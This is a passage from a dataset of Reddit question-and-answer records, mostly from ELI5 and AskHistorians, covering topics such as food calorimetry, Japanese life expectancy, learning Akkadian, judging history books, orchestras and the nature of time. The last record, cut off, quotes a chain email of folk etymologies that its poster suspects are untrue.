actually be pretty inefficient. \n\nYour body however will differ in how it handles that energy along with how much of the reactant actually is used. \n\nYour body may also lack the tools needed to process some compounds like gasoline as you stated. ", "The bomb calorimeter only gets you close to a relevant number when reactants and products are the same in the calorimeter as the body. For example, the metabolism of sucrose is a stepwise oxidation resulting in the consumption of O2 and the production of CO2 and H20 as products. These are the same reactants products you get when you burn it. The energies released are similar in the two situations. How similar?  I have not yet found an answer. The gasoline example is not relevant because the \"products\" are not the same.", "Technically, cellular respiration is considered a combustion reaction, but each individual step in the process doesn't look like a combustion reaction.  Here's a *very* simplified equation for respiration:\n\n > C6H12O6 (s) + 6 O2 (g) \u2192 6 CO2 (g) + 6 H2O (l) + heat\n\nLook familiar?  Here's a general formula for a combustion reaction involving methane:\n\n > CH_4 + 2O_2 to CO_2 + 2H_2O + heat\n\nBomb calorimeters aren't just used for determining the amount of nutritional calories for different foods, so you could use it to determine the amount of heat given off by the combustion of gasoline, but that doesn't mean we could get that amount of calories from consuming gasoline.  It's the same thing with dealing with compounds that contain a large amount of cellulose.  Just because I could burn a piece of paper and figure out that it has X number of calories doesn't mean that I could eat that piece of paper and get X number of calories.  \n\n\n\n\n\n\n\n", "Bomb calorimeter results are not used directly. They are modified according to the Atwater system, in general.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Atwater_system"]]}
{"q_id": "5i3zl5", "title": "what is |-/?", "selftext": "I am constantly seeing this symbol/series of characters and I don't understand what it is. Google yields nothing, so I'm lost.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5i3zl5/eli5_what_is/", "answers": {"a_id": ["db55n2a"], "score": [2], "text": ["[Urban Dictionary](_URL_0_) sheds some light into that; it's a logo for a band called Twenty One Pilots. [Here](_URL_1_) a redditor claims that it has an unknown, hidden meaning to one of the band members."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.urbandictionary.com/define.php?term=%7C%2D%2F", "https://www.reddit.com/r/twentyonepilots/comments/341pqm/does_have_an_actual_meaning/"]]}
{"q_id": "20p3ks", "title": "Any ancient Greece (maybe ancient Rome?) experts out there who can help me identify this?", "selftext": "I bought this chair a while back at an antique store and at the time I was taking an elective on mythology. When I showed the picture to my professor she mentioned a few options, Themistocles and Pericles mainly, but wasn't quite sure exactly. Perhaps someone here can give me a hand at identifying this guy. \n\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20p3ks/any_ancient_greece_maybe_ancient_rome_experts_out/", "answers": {"a_id": ["cg5guay"], "score": [2], "text": ["Both [this oil painting of Pericles](_URL_3_) and the [following Roman bust of Pericles](_URL_0_) are so similar to the man depicted in your work that I'm fairly confident it is indeed Pericles. I'm not an expert in Greek  &  Roman art though, so take it as you will.\n\nThe [portrait of Themistocles in the vatican](_URL_2_), while close, has a fuller beard. This is also reflected in the [full size statue of Themistocles in Piraeus](_URL_1_). I can't rule it out completely (The collar may signify something I'm missing) but it seems Pericles is the one being shown. What did the antique dealer say when you bought the picture, and if you have the title see if it in any way indicates the sea, a ship, or a naval battle as that would point to Themistocles."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/bzFF2cB.jpg"], "answers_urls": [["http://www.britishmuseum.org/images/ps215427_l.jpg", "http://i.imgur.com/UeCQFtq.jpg", "http://ancientrome.ru/art/artwork/sculp/rom/copy/herm/her006.jpg", "http://i.imgur.com/wHqbfqk.jpg"]]}
{"q_id": "2rkmld", "title": "Has Japan's life expectancy always been amongst the highest in the world? When and why did it become so high?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2rkmld/has_japans_life_expectancy_always_been_amongst/", "answers": {"a_id": ["cngwqgy", "cngzw8r", "cnh0li6", "cnh263o"], "score": [279, 9, 86, 14], "text": ["Before exposure to Western medicine, the Japanese [relied heavily](_URL_0_) on Chinese medicine and therapeutic techniques. Think acupuncture, herbal tinctures and pastes, bones and organs of animals, and an Eastern equivalent of the bile and blood \"Humors\" of Medieval Europe. The efficacy of these treatments is fairly low, for example [aristolochic acid](_URL_3_) is common in several treatments including wild ginger and is found to cause a wide range of health problems; UTIs, various cancers, and even kidney failure with only moderate use. In the case of severe illness, Chinese medicine does not perform nearly as well as Western medicine, and as we see can even cause fatal problems.\n\nThe first Employee health insurance plan didn't grace Japan until 1927, so even with awareness of Western medicine in the country, access to it was probably not widespread. Life expectancy in the 1950s in Japan might be considered [abysmal](_URL_2_) when compared to today's.\n\nThe reformation of the public health system following Japan's defeat in WWII is probably the biggest fish you're looking for, but unfortunately I don't know much about that, although [this book](_URL_6_) might be of interest in your studies. The biggest scandals in public health in the first half or two-thirds of the 1900s would have been [Itai-Itai](_URL_1_), [Minamata](_URL_5_), and Yokkaichi asthma (caused by poisonous ash from a factory, shaved off five years from life expectancy, [on average](_URL_4_)), all caused by the pollution of several factories into rivers over a period of about seventy years. After the last one, it seems the government clamped down more tightly on industrial waste, but again, I can't speak to that.\n\nSo, in the 40s in Japan, 50 was about the average life expectancy, but in the 50s an amazing leap in health involving new health regulation occurred which expanded a person's life 20 years, a 40% jump.\n\nAs you can tell, I'm no professor, but this is what I've gleaned from Google Scholar and some things my professors have mentioned. Please correct me, anyone who can.\n", " > Has Japan's life expectancy always been amongst the highest in the world?\n\nYou can see a [chart over time of Japan's life expectancy numbers](_URL_5_) in relation to the rest of the world [[alt link](_URL_4_)]. I made the x axis total fertility (birth rate) and dot size is GDP/person PPP.\n\n > When and why did it become so high?\n\nJapan has always had above average life expectancy since at least 1865 (when the data on Gapminder starts for Japan) [source *Riley File*]. But it was not until post-WWII that Japan's life expectancy started to really take off. The question of WHY did it happen is much more complicated and speculative. I can only list things I have read about before, I don't have any solid conclusions other than that there must be many factors:\n\nMost Americans know about the \"baby boom\" in post-WWII which shifted the birth rate from 2.8 to 3.7 babies per woman (1946-1960) before starting to fall to its current numbers. During that same period, the birth rate in Japan went from 3.4 to 2 and kept falling.\n\nHowever if you look at the late 1800s during the Meiji Restoration, you can see there is a pretty significant drop in birth rate in Japan with no change in life expectancy. Then later up until WWII life expectancy in Japan did rise, but was outpaced by Argentina, USA, Canada, and most Eastern and Western European countries [note again that life expectancy data doesn't start until 1865]. So this data does not support 801_chan's theory about Western vs Eastern medicine, as Western medicine had been spreading in Japan long before the Meiji Restoration period with Dutch and German Missionaries.\n\nThere's also the issue of diet. Although I know a lot about the Japanese diet, I don't know enough about the science of diet vs longevity to comment further. But you should know that the people on the island of Okinawa have a [pretty different diet](_URL_1_) compared to a typical Japanese person, and Okinawans live longer on average compared to Japanese. So diet alone can't offer a full explanation.\n\nBesides quality, there's also the issue of quantity of diet. Some Asian cultures have long had a notion that eating less is a desirable thing ([Hara hachi bu](_URL_3_)). [I feel that this is at least as important as quality, but this is outside the scope of this subreddit]\n\nSources and raw data for the above Gapminder chart can be find by clicking the three \"various sources\" buttons.\n\nJapan specific sources for life expectancy data:\n\n* Estimates from in total over 700 different sources, compiled by Professor James Riley, and described in _URL_2_\n* The Human Mortality Database. Joint project of UC Berkeley and Max Planck Institute for Demographic Research in Rostock. _URL_0_\n* [data for years during WWII were not kept in Japan, and are estimated and interpolated by Gapminder]\n", "The question might not be the right one to ask as the life expectancy may be a [result of massive fraud on the part of Japanese citizens](_URL_0_). In the linked article it states that over 230,000 Japanese over the age of 100 are currently 'missing'. It may not be that the Japanese actually have one of the highest life expediencies, but instead just have horrible record keeping. ", "So prior to western medicine adaptation, their lifespans were pretty normal for humans in that time period? Also, I've heard that the Japanese maritime diet accounts for at least some of their longevity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?hl=en&amp;lr=&amp;id=tbtAnCrOLAIC&amp;oi=fnd&amp;pg=PA322&amp;dq=History+of+medicine+in+Japan&amp;ots=Xh4bXB9lHV&amp;sig=qtkNKMylSwIbfhEMCUUguQ8S2rc#v=onepage&amp;q&amp;f=false", "http://ic.ucsc.edu/~flegal/etox80e/Images/itai-itai.jpg", "http://www.nia.nih.gov/research/publication/global-health-and-aging/living-longer", "http://news.sciencemag.org/health/2013/08/common-herbal-supplement-linked-cancer", "http://www.ehjournal.net/content/7/1/8", "http://america.aljazeera.com/content/dam/ajam/images/articles_2014/minamata_japan_ontario_082914.jpg", "http://www.amazon.com/Reforming-Public-Health-Occupied-1945-52/dp/0415681499"], ["www.mortality.org", "https://en.wikipedia.org/wiki/Okinawa_diet", "www.lifetable.de/RileyBib.htm", "https://en.wikipedia.org/wiki/Hara_hachi_bu", "http://www.bit.ly/1xQfC9Y", "http://www.gapminder.org/world/#$majorMode=chart$is;shi=t;ly=2003;lb=f;il=t;fs=11;al=30;stl=t;st=f;nsl=t;se=t$wst;tts=C$ts;sp=5.59290322580644;ti=1911$zpv;v=0$inc_x;mmid=XCOORDS;iid=phAwcNAVuyj0TAlJeCEzcGQ;by=ind$inc_y;mmid=YCOORDS;iid=phAwcNAVuyj2tPLxKvvnNPA;by=ind$inc_s;uniValue=8.21;iid=phAwcNAVuyj1jiMAkmq1iMg;by=ind$inc_c;uniValue=255;gid=CATID0;by=grp$map_x;scale=lin;dataMin=0.836;dataMax=9.2$map_y;scale=lin;dataMin=23;dataMax=86$map_s;sma=17;smi=1$cd;bd=0$inds=i110_n,,acac"], ["http://www.bbc.com/news/world-asia-pacific-11258071"], []]}
{"q_id": "9b3bxf", "title": "How could I learn Cuneiform/Akkadian?", "selftext": "I learned about the stele of King Hammurabi in art history today. I also learned in world history that there are tons of cuneiform tablets that we still can't read. How could I learn this language and potentially read this stele and other cuneiform tablets.?\n\n & #x200B;\n\nMy prof. said that if I were to learn this language there could be a serious employment opportunity simply because we still have so much to learn from this writing system. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9b3bxf/how_could_i_learn_cuneiformakkadian/", "answers": {"a_id": ["e5053op", "e50b4qv"], "score": [3, 7], "text": ["As it happens, u/Bentresh answered [a similar question](_URL_0_) recently.", "Thanks to u/silverappleyard for linking to my post. \n\nI wrote about the numbers of unpublished tablets in [Are there any ancient texts that have yet to be translated due to a lack of translators?](_URL_1_)\n\nSadly, the large numbers of unpublished tablets do not correspond to good job prospects, and I would recommend going into Assyriology only if you can't see yourself doing anything else. There are exceedingly few positions in Assyriology worldwide, and there has been a recent wave of retirements and new hires in many of the Assyriology programs in the US (i.e. Brown, Cornell, JHU, Chicago, and Michigan), so they won't be hiring again for decades. Career prospects are slightly better in Europe, where a handful of postdocs in Assyriology in Germany, the UK, the Netherlands, Finland, etc. are offered each year, but there is considerable competition for these positions. \n\nAssyriology PhDs can find work in history departments teaching world history and ancient history courses, but there are far more history PhDs applying for jobs than there are jobs available. For a grim but realistic look at graduate school and academia, I recommend reading the recent thread [Monday Methods: Why You Should Not Get a History PhD (And How to Apply for One Anyway)](_URL_0_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6luq3b/any_good_starting_points_for_learning_akkadian_or/"], ["https://www.reddit.com/r/AskHistorians/comments/96yf9h/monday_methods_why_you_should_not_get_a_history/", "https://www.reddit.com/r/AskHistorians/comments/7zqsum/are_there_any_ancient_texts_that_have_yet_to_be/duqeknq/"]]}
{"q_id": "3ub9od", "title": "why do people say \"oh, for petes sake..\"? like..who is pete?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ub9od/eli5_why_do_people_say_oh_for_petes_sake_likewho/", "answers": {"a_id": ["cxdgikh"], "score": [3], "text": ["Google is your friend.\n\n > Euphemistic variant of for Christ's sake, for God's sake; \"Pete\" perhaps invoking Saint Peter or perhaps influenced by for pity's sake.\n\nAt least that's what I found over at [wiktionary] (_URL_0_)\n\nSounds plausible at any rate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wiktionary.org/wiki/for_Pete%27s_sake"]]}
{"q_id": "53o5bf", "title": "[Meta] I walk in a random bookstore's history section as a history enthusiast. Is there an easy way to tell the quality and the level of bias when I pick up a given book?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/53o5bf/meta_i_walk_in_a_random_bookstores_history/", "answers": {"a_id": ["d7usea5", "d7usppt", "d7uys4a", "d7v7pz3"], "score": [23, 318, 66, 9], "text": ["Yes.\n\nMaybe not 'easy' per se, but as you read more and more about a particular subject, you begin to run into repeated names in the subject, especially when you check the cited sources. So, if you're studying the Salem Witchcraft Trials, you're likely to come across Boyer and Nissenbaum, Carol Karlsen, or Mary Beth Norton rather routinely, as they were large names in the field of pioneering research. *The Witches* by Stacey Schiff, which I received for my birthday recently, is a great example: one look at the sources for the book and I note all of their names. Since these three were pioneers in the field, this makes me feel comfortable with *The Witches*; if instead, I had found a bunch of books attributing the witchcraft craze to ergot poisoning causing LSD like reactions, with no recognizable names, I might have felt different and less trusting.\n\nIn presidential biographies, Arthur M. Schlesinger Jr. or David McCullough or H.W. Brands might play a bigger role as you read more. While you might pick up a McCullough biography, he tends to write doorstoppers and so, like Schlesinger, he is just as likely to appear as a source in a book. Seeing either name, in the cover or the sources, will make me more comfortable. To take an example from Half Price Books yesterday, I am liable to believe reputed historian Arthur Schlesinger, especially on the subject of Roosevelt; I was actually looking for his first volume on Roosevelt. Instead, I found a book called *The Roosevelt Myth* with a picture of Roosevelt and Stalin cackling together on the phone while Roosevelt quips, \"I'm glad you found your constitution, Joe, I can't find mine!\"\n\nOne of these, as you might expect, is more liable to send up red flags. Is the historian in question making outrageous claims? If you get the feeling that an outrageous claim is the essence of the book, it's probably not reputable. On the same note, a book that claims to have sources without providing them also tends to send up red flags. From what I've heard of it, the *Killing* series by Bill O'Reilly is a particularly egregious offender here.\n\nContinuing the subject of sources, what are they? Does a book rely purely on secondary sources (what other people have written about the event), or does it, like the Witchcraft historians above, consult the surviving testimony and records from Salem? McCullough would have a hard time writing an authoritative *Truman* biography if he only read previous *Truman* biographies, secondary sources, rather than also consulting Truman's personal writings, including his unpublished papers and other extent primary source material about him.\n\nAs you begin to find a level of familiarity with works, you begin to understand the biases of different authors, the way they approach issues, and you can compare and contrast the different way that they discuss the causes and ramifications of events. By understanding the approach of historians and their school of thought, you can decide whether you're more liable to turn to Peter Ackroyd's arguably more 'liberal' *Foundation* and continue his series or to Andrew Roberts more 'nationalistic' or 'conservative' *A History of the English Speaking Peoples*. \n\nThe school of thought that informs a historian's approach is particularly relevant: is this a social historian, who views history as occurring from the bottom up? Or one who views history in the 'Great Men' tradition, as my college professors called it, and see development in a top-down system? Or does the historian subscribe to neither, believing history to be a little more complex than such a strict dichotomy?\n\nSo, for example, to harp on a recent example I've used, [Amity Shlaes'](_URL_0_) biography of Calvin Coolidge immediately set off red flags by presenting a version of history I found so at odds with what I've read in other books and in college that I was astounded. Even before picking it up, however, a little research and skimming showed me that there would be a high level of bias.\n\nReputable biographers and historians tend to help out and make a very clear impression when you do read them. McCullough or Brands, if memory serve, will often present a panoply of different opinions on a subject's action. In *Truman*, for an invented example, McCullough at some parts discusses that X biographer describes Truman's behavior in such and such way, Y biographer does it in this way, Z biographer does it in such way, etc. Most books that do this tend to be heavy and weighty, admittedly, and aren't much fun to read: *The Yellow Cross* by Rene Weis, which I just finished trudging through recently, I would put in this category as well. The above referenced historians about the Salem Witchcraft Trials are excellent about this too-although it *did* make the reading for that class a headache.\n\nOther historians will offer such snippets or anecdotes of history to flesh out what is being told, and tend to root the book more firmly by giving accurate precedent. Hopefully that helps!", "There are tips and tricks to figuring this out, but they are just general rules and always have exceptions.\n\nFirst rule is bibliography. A long essay, just the author reflecting on abstract/meta issues, isn't expected to have a lot of sourcing and bibliography. A book that offers, for example, *The Empire of Cotton* (Sven Beckert's 2014 opus), on the other hand, *is* expected to cite sources. If a history of Benjamin Franklin cites little to no sources it is a bad sign. If a book is describing the history of television and cites little to no sources, same thing. Even books geared towards general audiences should, if they're serious, cite the works they're based off of and cite them often.\n\nSecond rule is, what bibliography is used? If someone is offering a pop-history account of the life of Andrew Jackson it is completely normal for their bibliography to be mostly made up of other authors who have written on related topics. The problem with this is that those authors selected specific sources to make their points. The guy you're reading didn't actually read the original letters. He read the fragments of the originals as cited by others. The other people who wrote had their own agendas and perspectives and cited sources that support those arguments. You're getting a summary of a summary. And the person you're reading may not even be accurately representing the views of the author they are citing (recently this appears to have happened with a podcast where the podcaster mentioned a 'clause' as if it were a treaty when it was a verbal 'policy' of a given government and never codified into national or international law). A serious author should demonstrate that they have consulted primary sources at some point in their work.\n\nThird, who are they? Not all great histories are written by university professors. Indeed, non-academics write great stuff all the time. Buuuut.... If you're going in blind it is a good idea to see if this person has any training in history. If the author you're checking out got a degree in creative writing, a great book of history is possible but as unlikely as a Linguistics major suddenly putting out a great work on economic theory.\n\nFourth, who is recommending them? Usually a book has blurbs (ie. 'A masterpiece' says so-and-so). Do you notice that none of the people recommending the book are actual historians? Like, maybe a news network (CNN, Fox, MSNBC, etc.) host recommends it and some obscure newspaper that sounds legit but you have never heard of, but no historians. Or, maybe one historian, but from a really obscure university and who (if you look them up) doesn't have much published themselves. A lot of history is reputation. If no serious author in your field is willing to go to bat for you, it is a bad sign. Again, not impossible that it is a great book and will in time become a classic. Just not likely if you can't get anyone to give you as much as a blurb.\n\nFifth, who cites this book? Try looking up the author to see if other serious books in the same field mention the author and see what they say. Google Books which often include scans which you can read free online. Maybe the author you're looking at is universally derided. Maybe it is even worse; irrelevance. If no one thinks to cite that book and it has been out for a while, it is a really bad sign. Another way to check this is to hop onto JSTOR and other online resources to see if the book has been reviewed there. Good books may slip through the cracks and not get reviewed, but if they pop up on JSTOR it is at least a good sign that it was relevant enough to spend the time and space necessary reviewing it at all (though you might also want to see what the reviewer had to say).\n\nThese are just some basic tips.\n\nHope it helps.", "Your best bet would be first to make sure that the book comes from an academic publisher (Oxford, Cambridge, Yale, or any other university press, along with other non-university academic publishers like Palgrave MacMillman and Routledge). Looking only for academic presses can be limiting, though. There are many, many good history books that are published by non-academic presses. Farrar, Strauss, and Giroux normally publishes very good history books, as does Penguin, W.W. Norton, and many others. Besides that, look at the author information in the back flap or the very beginning of the book. Does this person have a PhD in history or some other advanced degree related to the topic of the book? Or does the author have some practical experience (government job, non-profit work, etc.) with the topic being written? If so, there's a good chance the book will be fairly reliable. \n\nOf course, these are just general rules of thumb, not ideal markers of what makes a book reputable or not. There are many good history books by people with very little professional training in history, and there are also bad books that are published by academic presses. Really the only way to ensure you are reading a credible history book is to be very fluent in the topic you are reading about and knowing who the major authors are. This can only come with a lot of time and experience, something the average reader doesn''t want or need. With that being the case, the above suggestions should by and large protect you from most of the bad history books.\n\nI'll expand on how to quickly gauge a book's quality with some examples from books that I've pulled from my own shelves. \n\n* Westad, Odd Arne. *The Global Cold War: Third World Interventions and the Making of Our Times*. Cambridge University Press, 2007.\n\nThis one is pretty straightforward. It's from an academic publisher, and I can see from the author description that he is a professor of history at the London School of Economics and Political Science. Furthermore, the book won the Bancroft Prize, an award decided upon by academic historians from Columbia University. This can easily be considered a reputable book.\n\n* Leffler, Melvyn. *For the Soul of Mankind: The United States, the Soviet Union, and the Cold War*. Hill and Wang, 2007.\n\nThis one might be a little bit harder to gauge, but still, it'll be pretty easy to determine that this is a reputable book. The publisher is not an academic press, but I can see from the author bio that he is a professor of history at the University of Virginia who has published extensively on U.S. Cold War foreign policy. Another good, if sometimes superficial, way to gauge a book's credibility is through the blurbs written on the back. All of the blurbs praising this book are from noted historians from top-tier universities. We can easily see that this book is reputable.\n\n* Labunski, Richard. *James Madison and the Struggle for the Bill of Rights*. Oxford University Press, 2006.\n\nThis book's a little bit different. It's published by an academic press, but as the author bio says, the author is a professor of journalism and telecommunications, and has a PhD in political science and a J.D. from Seattle University School of Law. This author, as we can tell, doesn't have a professional background in history. His background in law, though, seems to show that he likely knows what he's talking about in regards to the Bill of Rights. That it is published by an academic press gives it greater reputability. Again, this book will likely follow at least the basic tenets of what makes a good history book.\n\n* Van Linschoten, Alex Strick and Felix Kuehn. *An Enemy We Created: The Myth of the Taliban-Al Qaeda Merger in Afghanistan*. Oxford University Press, 2013.\n\nThis one is also more difficult to gauge, but should still be pretty easy to see that it's reputable as a historical work. The authors are not historians, but have worked as journalists and non-profit workers within Afghanistan for the previous 40 years. It's published by an academic press, and, within the acknowledgements section, we can see that the authors sent drafts to noted academics in the field they are writing about. Again, this book is easily going to be reputable.\n\n* Mann, James. *The Rebellion of Ronald Reagan: A History of the End of the Cold War*. Viking, 2009.\n\nThis one will honestly be difficult to determine if you're unfamiliar with the field, and you will need to dig a little deeper to see if this book is reputable. The author is a journalist, not a professional historian, and the book is not published by an academic press. The blurbs from the back are all from other journalists or government officials. If you're unfamiliar with the author, this is when to look for book reviews for both the book you're looking at and any previous books the author has written. If I were to search for reviews of previous books, I would see that this author has written a couple of history books that are highly praised by professional historians. This book is most likely going to be reputable.\n\n* O'Reilly, Bill. *Killing Lincoln: The Shocking Assassination that Changed America Forever*. Henry Holt and Co., 2011. (An extreme example, I know).\n\nThis book is neither written by a professional historian nor published by an academic press. The blurbs for the book are written by prominent authors of fiction (particularly spy thrillers), and the only thing that the other blurbs from Newsweek and The Christian Science Monitor say is that the book reads like a fiction spy thriller. Certainly not a very ringing endorsement for anything relating to the the author's abilities as a historian. Obviously, a book that should probably be avoided.\n\nI've tried to give you examples that can account for most of the different types of history books and authors. These are the exact things that I question any time I'm looking for a new book or am thinking of buying a particular book. While these books are mainly from my area of expertise, I hope this gave you a general idea of what questions to ask when looking for new history books.\n", "Thanks for asking a great question!  I learned a lot from the responses.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.goodreads.com/review/show/1746547673?book_show_action=false"], [], [], []]}
{"q_id": "ak5rzf", "title": "why is there such a huge repeated number of same instruments in orchestras?", "selftext": "Taking for example this: [_URL_1_](_URL_0_)\n\nWhy are there like 25+ violins? By watching the video it seems like they are mostly playing the same notes, so couldn't a number of, say, 5 violins produce the same thing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ak5rzf/eli5_why_is_there_such_a_huge_repeated_number_of/", "answers": {"a_id": ["ef1rx51", "ef1uyf5", "ef20eoj", "ef28zki"], "score": [31, 25, 9, 3], "text": ["They aren't all playing the same notes. Check out 1:30, one group in the middle is doing short notes, the group closest to the camera is doing long notes. (And some of the violins might be violas) Also, more violins means a stronger, richer sound.", "Violins in particular produce weaker sound than other instruments in an orchestra. So when every instrument is playing at once, you need more violins than any other instrument to make sure they're loud enough to be heard. This is important because violins are important in the sound of an orchestra. Violins usually get the melody, so they need to be heard.\n\nIn addition, you'll have groups of each instrument playing different things. One group of violins may be playing one melody, a second group a counter-melody, and so on. So you need enough instruments to cover all the different things they're supposed to do and be loud enough. Since violins are usually important in the pieces the orchestra plays and they're relatively quiet, this means you need a lot of violins.", "Two reasons. \n\n1) Because nothing is amplified. \n\nYou have a violin playing against a trombone, you're going to need more violins in order for them to be heard. Some orchestra venues have a house pipe organ which is used as part of some performances.  There's only ever one of those because they're **loud**.\n\n2) You need more than one violin to play certain chords. Then in order for the chords to be heard you need to double triple or more up on the violins that make up those chords. Soon ends up as a lot of players. \n\n\n", "As already said, you need multiple players per part so each part is heard depending on the natural volume of the instrument, but if you\u2019ve ever gone to an orchestra, a stage filled with many people is much more sweeping and fulfilling than a smaller ensemble."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=pFZ5_q86u0E", "https://www.youtube.com/watch?v=pFZ5\\_q86u0E"], "answers_urls": [[], [], [], []]}
{"q_id": "2c2ok0", "title": "frozen assets", "selftext": "The way I understand the subject, a frozen asset is still a property of Mr.Russian Oligarch, but neither Mr.O., nor Uncle Sam who ordered freezing, are in control of the asset. \n\nHow the freezing procedure is even legal ? Because it sounds to me like a breach of private property based on an arbitrary desicion of a government.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c2ok0/eli5frozen_assets/", "answers": {"a_id": ["cjbbkon"], "score": [4], "text": ["_URL_0_ \n\nFreezing is legal the same way securing a crime scene is legal. You want to make sure nothing happens to the assets in question while the investigation is taking place.\n\nWhen you commit a crime you in fact forfeit private property involved in or gotten as a result of the crime."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Asset_freezing"]]}
{"q_id": "1yjzki", "title": "time", "selftext": "Okay, I get the basics of time and how it works. What I'm wondering is why is it 'running' at exactly the speed that it is and how does that work? Has it always been running at this speed? What is there to indicate that time even exists?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yjzki/eli5time/", "answers": {"a_id": ["cfl6qvo", "cfl6x31", "cfla1t0", "cflcadl"], "score": [21, 3, 2, 4], "text": ["Time is a human measurement of the environment that we live through. We measure it by an arbitrary scale that we invented/derived. \n\nBasically though time is a measurement of change. Time as we think of it has existed from the big bang/creating of the universe. \n\nTime does not \"run\" at the same speed everywhere as far as we can tell. It is confirmed that time passes differently at higher/lower gravity, or at high or low traveling speed. Our satellites in outer space literally have clocks that are running at \"different\" speeds than the ones on earth.\n\nTime only goes in one direction because our consciousness only goes in one direction. We remember the past, but not the future. We can more or less easily look into the past, and know events happened in a specific order. ", "There are lots of answers to this question.\n\n1. time is a unit anchored to the earths rotation around the sun.  A \"day\" is a unit of time that represents one rotation.  And so on.  I don't think this is your question, but...this is \"time\" as we most commonly talk about it!  Like....for example....right now I'm here \"wasting time\".\n\n2. The speed of light (the universal constant) provides a constant measure of time.  So...in this regard, yes...it has always run at the same speed when we're talking about the laws of physics.\n\n3. in practice, time is quite variable since it is affected by the mass of objects and the speed at which one things is traveling relative to another.\n\nDoes time exist?  Yes.  Both empirically and theoretical.  \n", "Well that's a big question really, but to try and answer a bit:\n\n(Other people have talked about how we define time with regard to years, days, seconds, etc. So I'll skip that.)\n\nSpecial relativity: Einstein's famous theory says a lot about time and space, but the basics that pertain to your questions say that time is relative to a reference frame. This means that if you are standing still and I am running then time passes slower for me than for you. Not by much since I can't run very fast, but if you were to get on a space ship and fly extremely fast (close to speed of light) for a few years and then return to earth you would find that everyone has aged much more than you. This example make2s some assumptions but I'm trying to keep it ELI5.\n\nGeneral relativity: More general theory than special relativity. In regards to time general relativity predicts (and has been verified by experiment) that gravity effects the passage of time. A clock on earth and one floating out in empty space will become out of sync after awhile (with the clock in empty space floating running slower than the one on earth). This means that if you lived on the space station for a year you'd actually be younger than someone born at the same time as you (although not by a huge amount.)\n\nQuantum mechanics: QM actually has a lot to say about time, but none of it is very ELI5. However there was one recent experiment that directly relates to your question of whether or not time is \"real\". Scientists created a mini \"universe\" and discovered that to an observer inside the universe time should run as it appears to in ours. But an observer outside the universe can see all of time at once. This suggests that time as observed by us is an emergent property (as opposed to a fundamental property). If you were to have \"God's\" perspective of our universe you would see all of time at once. Again, this description is simplified. If anyone is curious here is the paper about the experiment _URL_0_", "It is easiest for me to think of time as a coordinate. If you want to meet someone somewhere you also have to meet them sometime. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://arxiv.org/pdf/1310.4691v1.pdf"], []]}
{"q_id": "1bcvcv", "title": "How much of this is actually true?", "selftext": "**My aunt linked this to me on Facebook, a lot of this sounds completely untrue, does anyone know if there's any truth behind any of it?**\n\nThey used to use urine to tan animal skins, so families used to all pee in a pot  &  then once a day it was taken  &  Sold to the tannery.......if you had to do this to survive you were \"Piss Poor\"\n\nBut worse than that were the really poor folk who couldn't even afford to buy a pot......they \"didn't have a pot to piss in\"  &  were the lowest of the low\n\nThe next time you are washing your hands and complain because the water temperature isn't just how you like it, think about how things used to be. Here are some facts about the 1500s:\n\nMost people got married in June because they took their yearly bath in May, and they still smelled pretty good by June.. However, since they were starting to smell . ...... . Brides carried a bouquet of flowers to hide the body odor. Hence the custom today of carrying a bouquet when getting Married.\n\nBaths consisted of a big tub filled with hot water. The man of the house had the privilege of the nice clean water, then all the other sons and men, then the women and finally the children. Last of all the babies. By then the water was so dirty you could actually lose someone in it.. Hence the saying, \"Don't throw the baby out with the Bath water!\"\n\nHouses had thatched roofs-thick straw-piled high, with no wood underneath. It was the only place for animals to get warm, so all the cats and other small animals (mice, bugs) lived in the roof. When it rained it became slippery and sometimes the animals would slip and fall off the roof... Hence the saying \"It's raining cats and dogs.\"\n\nThere was nothing to stop things from falling into the house. This posed a real problem in the bedroom where bugs and other droppings could mess up your nice clean bed. Hence, a bed with big posts and a sheet hung over the top afforded some protection. That's how canopy beds came into existence.\n\nThe floor was dirt. Only the wealthy had something other than dirt. Hence the saying, \"Dirt poor.\" The wealthy had slate floors that would get slippery in the winter when wet, so they spread thresh (straw) on floor to help keep their footing. As the winter wore on, they added more thresh until, when you opened the door, it would all start slipping outside. A piece of wood was placed in the entrance-way. Hence: a thresh hold.\n\nIn those old days, they cooked in the kitchen with a big kettle that always hung over the fire.. Every day they lit the fire and added things to the pot. They ate mostly vegetables and did not get much meat. They would eat the stew for dinner, leaving leftovers in the pot to get cold overnight and then start over the next day. Sometimes stew had food in it that had been there for quite a while. Hence the rhyme: Peas porridge hot, peas porridge cold, peas porridge in the pot nine days old. Sometimes they could obtain pork, which made them feel quite special. When visitors came over, they would hang up their bacon to show off. It was a sign of wealth that a man could, \"bring home the bacon.\" They would cut off a little to share with guests and would all sit around and chew the fat.\n\nThose with money had plates made of pewter. Food with high acid content caused some of the lead to leach onto the food, causing lead poisoning death. This happened most often with tomatoes, so for the next 400 years or so, tomatoes were considered poisonous.\n\nBread was divided according to status. Workers got the burnt bottom of the loaf, the family got the middle, and guests got the top, or the upper crust.\n\nLead cups 